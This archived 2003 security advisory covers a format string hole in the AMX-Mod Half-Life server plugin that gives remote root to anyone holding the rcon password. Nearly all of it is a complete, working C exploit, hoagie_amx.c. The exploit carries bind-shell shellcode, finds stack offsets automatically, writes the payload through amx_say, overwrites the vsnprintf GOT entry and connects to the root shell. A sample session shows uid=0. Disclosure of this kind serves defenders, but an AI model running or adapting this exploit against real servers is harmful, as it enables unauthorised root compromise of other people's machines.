27th Feb 2003 [SBWID-6027]
COMMAND
	Half-Life AMX-Mod remote (root) hole
SYSTEMS AFFECTED
	 All AMX versions <= 0.9.2 on Windows and Linux.
	 Successfully tested with AMX 0.9.2 running on
	 hlds 3.1.1.0 on Linux. 
PROBLEM
	In greuff [[email protected]] of void.at, security advisory [VSA0308] :
	Due to a format string bug in AMX, it is possible for a remote  attacker
	who knows the rcon-password to remotely exploit  the  gameserver.  Since
	most game-server- admins I've seen  are  not  very  security-aware,  the
	server generally runs as root.
	The  rcon-password  can  be  obtained  using   social   engineering   or
	sniffing-techniques, since it is being transmitted in plaintext.  It  is
	needed because the vulnerable function can only be called via rcon.
	This is a format string bug in the "amx_say"-command. I can't provide  a
	code snipplet since  this  plugin  is  closed  source.  A  word  to  the
	AMX-Team: closed source doesn't protect you against security bugs!
	rcon-output:
	
	log on
	amx_say %08x.%08x
	(ALL) hoschLAN CS 1.5 ~~ Public ~~ : %08x.%08x
	L 02/26/2003 - 18:39:09: Chat: "hoschLAN CS 1.5 ~~ Public ~~
	<0><><>" say "%08x.%08x"
	L 02/26/2003 - 18:39:09: "hoschLAN CS 1.5 ~~ Public ~~
	<0><><>" triggered "amx_say" (text "00000006.bffff258") 
	
	 Sample exploitation session
	 ===========================
	
	greuff@saturn:~$ ./hoagie_amx localhost 27015 myprecious
	hoagie_amx - remote exploit for hlds servers using the amx plugin
	by [email protected]
	Getting stackpop count....
	Stackpops found: 118, Padding: 1
	Writing shellcode.....
	Connecting to the shell...
	Connect to the shell
	id
	uid=0(root) gid=0(root) groups=0(root),101(lpadmin)
	exit 
	
	 Exploit :
	 ========
	
	/*****************************************************************
	 * hoagie_amx.c
	 *
	 * Remote exploit for Halflife-Servers running the AMX-Plugin
	 * (rcon-password required)
	 *
	 * Binds a shell to port 30464/tcp and connects to it.
	 *
	 * Author: [email protected]
	 *
	 * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
	 *
	 * Credits:
	 * void.at
	 * Taeho Oh for using parts of his shellcode-connection code.
	 *
	 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
	 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
	 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
	 *
	 *****************************************************************/
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <sys/time.h>
	#include <unistd.h>
	#include <netinet/in.h>
	#include <arpa/inet.h>
	#include <stdio.h>
	#include <errno.h>
	#include <string.h>
	#include <netdb.h>
	#include <stdlib.h>
	#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
	#define OFFSET 0x41414141
	#define SB4(a) ((unsigned int)(a>>24))
	#define SB3(a) ((unsigned int)((a>>16)&0xFF))
	#define SB2(a) ((unsigned int)((a>>8)&0xFF))
	#define SB1(a) ((unsigned int)(a&0XFF))
	// forks and binds a shell to 30464/tcp. parent process exit()s.
	char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
	                   "\x31\xc0\xb0\x01\xcd\x80"
	                   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
	                   "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
	                   "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
	                   "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
	                   "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
	                   "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
	                   "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
	                   "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
	                   "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
	                   "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	                   "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
	                   "\x24\x31\xc0\xb0\x0b\xcd\x80"
	                   "\x31\xc0\xb0\x01\xcd\x80";
	char server_ip[20];
	char rcon_pwd[30];
	int server_port;
	int exec_sh(int sockfd)
	{
	        char snd[4096],rcv[4096];
	        fd_set rset;
	        while(1)
	        {
	                FD_ZERO(&rset);
	                FD_SET(fileno(stdin),&rset);
	                FD_SET(sockfd,&rset);
	                select(255,&rset,NULL,NULL,NULL);
	                if(FD_ISSET(fileno(stdin),&rset))
	                {
	                        memset(snd,0,sizeof(snd));
	                        fgets(snd,sizeof(snd),stdin);
	                        write(sockfd,snd,strlen(snd));
	                }
	                if(FD_ISSET(sockfd,&rset))
	                {
	                        memset(rcv,0,sizeof(rcv));
	                        if(read(sockfd,rcv,sizeof(rcv))<=0)
	                                exit(0);
	                        fputs(rcv,stdout);
	                }
	        }
	}
	int connect_sh()
	{
	        int sockfd,i;
	        struct sockaddr_in sin;
	        struct hostent *he;
	        printf("Connect to the shell\n");
	        fflush(stdout);
	        memset(&sin,0,sizeof(sin));
	        sin.sin_family=AF_INET;
	        sin.sin_port=htons(30464);
	        if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
	        memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
	        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
	        {
	                printf("Can't create socket\n");
	                exit(0);
	        }
	        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
	        {
	                printf("Can't connect to the shell\n");
	                exit(0);
	        }
	        return sockfd;
	}
	void create_conn(int *sock, char *host, int port)
	{
	   struct sockaddr_in sin;
	   struct timeval timeout;
	   struct hostent *he;
	   sin.sin_family=AF_INET;
	   sin.sin_port=htons(port);
	   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
	   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
	   if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
	   timeout.tv_sec=10;
	   timeout.tv_usec=0;
	   if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
	      sizeof(timeout))<0)
	      perror("setsockopt"),exit(1);
	   if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
	      sizeof(timeout))<0)
	      perror("setsockopt"),exit(1);
	}
	void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
	{
	   char msg[2000];
	   struct sockaddr_in sin;
	   struct sockaddr_in sfrom;
	   struct hostent *he;
	   fd_set fdset;
	   int dummy;
	   usleep(100);
	   sin.sin_family=AF_INET;
	   sin.sin_port=htons(port);
	   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
	   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
	   sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
	   if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
	      perror("sendto"), exit(1);
	   if(reply)
	   {
	      if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
	      {
	         if(errno==EAGAIN)
	         {
	            // resend message
	            printf("msg stalled, resending...\n");
	            sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
	            if(sendto(sock,msg,strlen(msg),0,(struct sockaddr
	*)&sin,sizeof(sin))<0)
	               perror("sendto"), exit(1);
	            else
	               printf("resend OK\n");
	            if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
	               perror("recvfrom"),exit(1);
	         }
	         else
	            perror("recvfrom"), exit(1);
	      }
	      if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
	         fprintf(stderr,"protocol error: reply\n"), exit(1);
	      strcpy(reply,msg+4);
	   }
	}
	void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char
	*reply_fun)
	{
	   char reply[1000];
	   char msg[2000];
	   lowlevel_rcon(sock,host,port,"challenge rcon",reply);
	   if(!strstr(reply,"challenge rcon "))
	      fprintf(stderr,"protocol error\n"), exit(1);
	   reply[strlen(reply)-1]=0;
	   sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon
	"),rconpwd,cmd);
	   if(reply_fun)
	      lowlevel_rcon(sock,host,port,msg,reply);
	   else
	      lowlevel_rcon(sock,host,port,msg,NULL);
	   if(reply_fun)
	      strcpy(reply_fun,reply);
	}
	int get_padding(unsigned char c,int bytes_written)
	{
	   int write_byte=c;
	   int already_written=bytes_written;
	   int padding;
	   write_byte+=0x100;
	   already_written%=0x100;
	   padding=(write_byte-already_written)%0x100;
	   if(padding<10) padding+=0x100;
	   return padding;
	}
	void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
	                        int *p4, int bytes_written)
	{
	   // greetings to scud :-)
	   int write_byte;
	   int already_written;
	   int padding;
	   write_byte=SB1(addr);
	   already_written=bytes_written;
	   write_byte+=0x100;
	   already_written%=0x100;
	   padding=(write_byte-already_written)%0x100;
	   if(padding<10) padding+=0x100;
	   *p1=padding;
	   write_byte=SB2(addr);
	   already_written+=padding;
	   write_byte+=0x100;
	   already_written%=0x100;
	   padding=(write_byte-already_written)%0x100;
	   if(padding<10) padding+=0x100;
	   *p2=padding;
	   write_byte=SB3(addr);
	   already_written+=padding;
	   write_byte+=0x100;
	   already_written%=0x100;
	   padding=(write_byte-already_written)%0x100;
	   if(padding<10) padding+=0x100;
	   *p3=padding;
	   write_byte=SB4(addr);
	   already_written+=padding;
	   write_byte+=0x100;
	   already_written%=0x100;
	   padding=(write_byte-already_written)%0x100;
	   if(padding<10) padding+=0x100;
	   *p4=padding;
	}
	int main(int argc, char **argv)
	{
	   int sock, stackpops, padding;
	   int i,j,bytes_written;
	   int p1,p2,p3,p4;
	   char cmd[1000], reply[1000];
	   unsigned long addr;
	   printf("hoagie_amx - remote exploit for hlds servers using the amx
	plugin\n"
	          "by [email protected]\n\n");
	   if(argc!=4)
	   {
	      printf("Usage: %s server_name server_port rcon_password\n\n",argv[0]);
	      exit(1);
	   }
	   strcpy(server_ip,argv[1]);
	   server_port=strtol(argv[2],NULL,10);
	   strcpy(rcon_pwd,argv[3]);
	   create_conn(&sock,server_ip,server_port);
	   printf("Getting stackpop count...");
	   send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
	   stackpops=-1;
	   for(padding=0;padding<4 && stackpops==-1;padding++)
	   {
	      for(i=50;i<200 && stackpops==-1;i++)
	      {
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         sprintf(reply,"AAAA%%%d$08x",i);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         reply[strlen(reply)-1]=0;
	         if(strstr(reply,"AAAA41414141"))
	         {
	            char *ptr;
	            ptr=strrchr(reply,'\n')+1; // get pointer to last log line
	            stackpops=i;
	            bytes_written=strstr(ptr," (text \"")+strlen(" (text
	\"")-strchr(ptr,'\"');
	            bytes_written+=4+padding;
	         }
	         printf(".");
	         fflush(stdout);
	      }
	   }
	   padding--;
	   if(stackpops==-1)
	   {
	      printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
	      exit(1);
	   }
	   printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);
	   // inject shellcode
	   printf("Writing shellcode...");
	   addr=OFFSET;
	   for(i=0;i<strlen(shellcode);)
	   {
	      int t;
	      if((addr&0xFF)>0x75)
	      {
	         // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
	         // distance is 0x13B-0x7A = 193d
	         unsigned long target=192;
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         t=get_padding(0xe9,bytes_written);
	         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
	             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         addr++;
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         t=get_padding(target&0xFF,bytes_written);
	         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
	             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         addr++;
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         t=get_padding((target>>8)&0xFF,bytes_written);
	         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
	             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         addr++;
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         t=get_padding((target>>16)&0xFF,bytes_written);
	         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
	             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         addr++;
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         t=get_padding((target>>24)&0xFF,bytes_written);
	         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
	             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         addr+=193;
	      }
	      else
	      {
	         // write shellcode-pieces
	         strcpy(cmd,"amx_say ");
	         for(j=0;j<padding;j++) strcat(cmd,"b");
	         t=get_padding(shellcode[i],bytes_written);
	         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
	             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
	         strcat(cmd,reply);
	         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
	         addr++;
	         i++;
	      }
	      printf(".");
	      fflush(stdout);
	   }
	   // overwrite GOT entry with shellcode address
	   strcpy(cmd,"amx_say ");
	   for(j=0;j<padding;j++) strcat(cmd,"b");
	   get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4);
	   addr=VSNPRINTF_GOT_ADDRESS;
	   sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
	                 "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
	                 addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
	(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
	(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
	(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
	                 p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
	   strcat(cmd,reply);
	   send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
	   sleep(1);
	   close(sock);
	   printf("\nConnecting to the shell...\n");
	   exec_sh(connect_sh());
	   return 0;
	} 
	
SOLUTION
	Disable AMX until  a  patched  version  becomes  available.  Change  the
	rcon-password.